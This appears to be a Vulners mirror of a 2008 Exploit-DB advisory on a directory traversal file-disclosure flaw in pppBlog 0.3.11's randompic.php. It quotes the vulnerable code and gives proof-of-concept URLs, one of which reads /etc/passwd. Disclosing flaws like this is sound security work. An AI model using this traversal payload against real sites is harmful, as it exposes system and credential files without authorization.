Lucene search
+L

pppBlog 0.3.11 - File Disclosure

🗓️ 03 Nov 2008 00:00:00Reported by JosSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

pppBlog 0.3.11 File Disclosure Vulnerability in randompic.ph

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2006-2770
3 Nov 200800:00
circl
cve
CVE
CVE-2006-2770
2 Jun 200610:00
cve
cvelist
Cvelist
CVE-2006-2770
2 Jun 200610:00
cvelist
exploitdb
Exploit DB
pppBlog 0.3.8 - System Disclosure
31 May 200600:00
exploitdb
nvd
NVD
CVE-2006-2770
2 Jun 200610:18
nvd
prion
Prion
Directory traversal
2 Jun 200610:18
prion
# pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url: http://sourceforge.net/projects/pppblog/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){
	readfile("$dir/$files[$randnum]");
    }
}
...

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: http://milw0rm.com/exploits/1853 (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D

# milw0rm.com [2008-11-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation